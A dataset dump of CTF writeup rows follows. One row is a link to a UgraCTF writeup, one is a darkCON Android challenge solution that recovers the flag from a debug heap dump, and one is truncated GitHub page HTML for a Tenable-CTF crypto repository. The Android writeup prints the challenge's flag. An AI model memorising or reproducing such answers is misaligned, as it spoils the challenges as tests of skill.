text_chunk
stringlengths
151
703k
Original writeup - [https://telegra.ph/Write-up-Arbatsko-Pokrovskaya-liniya-UgraCTF2021-03-01](https://telegra.ph/Write-up-Arbatsko-Pokrovskaya-liniya-UgraCTF2021-03-01)
This is an android challenge and I used my own device to run the provided APK (probably not a good idea). However, it should be doable with an emulator as well. Decompiling the apk online and searching through it, `com.application.ezpz.MainActivity` contains the lines ```javafinal String[] YEET = new whyAmIHere().isThisWhatUWant(); ...... } else if (YEET[0].equals(MainActivity.this.button.getText().toString())) { Toast.makeText(MainActivity.this.getApplicationContext(), "Well thats the Correct Flag", 0).show();``` The source for `com.application.ezpz.whyAmIHere.java` shows how `YEET` is created and populated: ```javapublic class whyAmIHere { public String[] isThisWhatUWant() { final String[] justAWaytoMakeAsynctoSync = {""}; FirebaseFirestore.getInstance().collection("A_Collection_Is_A_Set_Of_Data").get().addOnSuccessListener(new OnSuccessListener<QuerySnapshot>() { public void onSuccess(QuerySnapshot queryDocumentSnapshots) { Iterator<QueryDocumentSnapshot> it = queryDocumentSnapshots.iterator(); while (it.hasNext()) { justAWaytoMakeAsynctoSync[0] = it.next().getString("Points"); Log.d("TypicalLogcat", justAWaytoMakeAsynctoSync[0]); } } }).addOnFailureListener(new OnFailureListener() { public void onFailure(Exception e) { justAWaytoMakeAsynctoSync[0] = "Something Failed,Maybe Contact Author?"; } }); return justAWaytoMakeAsynctoSync; }}``` As `YEET` is loaded immediately after the first time `editText` is clicked, it should be in memory shortly after clicking `editText`. Debugging the apk in android studio, a heap dump can be generated and exported after the box has been clicked. Then, strings from the heap dump can be searched for the wrapper `darkCON`, which gives `darkCON{d3bug_m5g_1n_pr0duct10n_1s_b4d}`.
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>Tenable-CTF/Crypto at main · hugoreb/Tenable-CTF · GitHub</title> <meta name="description" content="Some writeups about Tenable-CTF 2021. username : hugore team : IVS team points : 2750 last rank of the team : 128 - Tenable-CTF/Crypto at main · hugoreb/Tenable-CTF"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/45a429038d3c4a793a918304d5a2034c6dcb2de327742480b4ad8c78118e658c/hugoreb/Tenable-CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Tenable-CTF/Crypto at main · hugoreb/Tenable-CTF" /><meta name="twitter:description" content="Some writeups about Tenable-CTF 2021. username : hugore team : IVS team points : 2750 last rank of the team : 128 - Tenable-CTF/Crypto at main · hugoreb/Tenable-CTF" /> <meta property="og:image" content="https://opengraph.githubassets.com/45a429038d3c4a793a918304d5a2034c6dcb2de327742480b4ad8c78118e658c/hugoreb/Tenable-CTF" /><meta property="og:image:alt" content="Some writeups about Tenable-CTF 2021. username : hugore team : IVS team points : 2750 last rank of the team : 128 - Tenable-CTF/Crypto at main · hugoreb/Tenable-CTF" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Tenable-CTF/Crypto at main · hugoreb/Tenable-CTF" /><meta property="og:url" content="https://github.com/hugoreb/Tenable-CTF" /><meta property="og:description" content="Some writeups about Tenable-CTF 2021. username : hugore team : IVS team points : 2750 last rank of the team : 128 - Tenable-CTF/Crypto at main · hugoreb/Tenable-CTF" /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="BE7F:11CA9:1F39107:2099DC1:61830794" 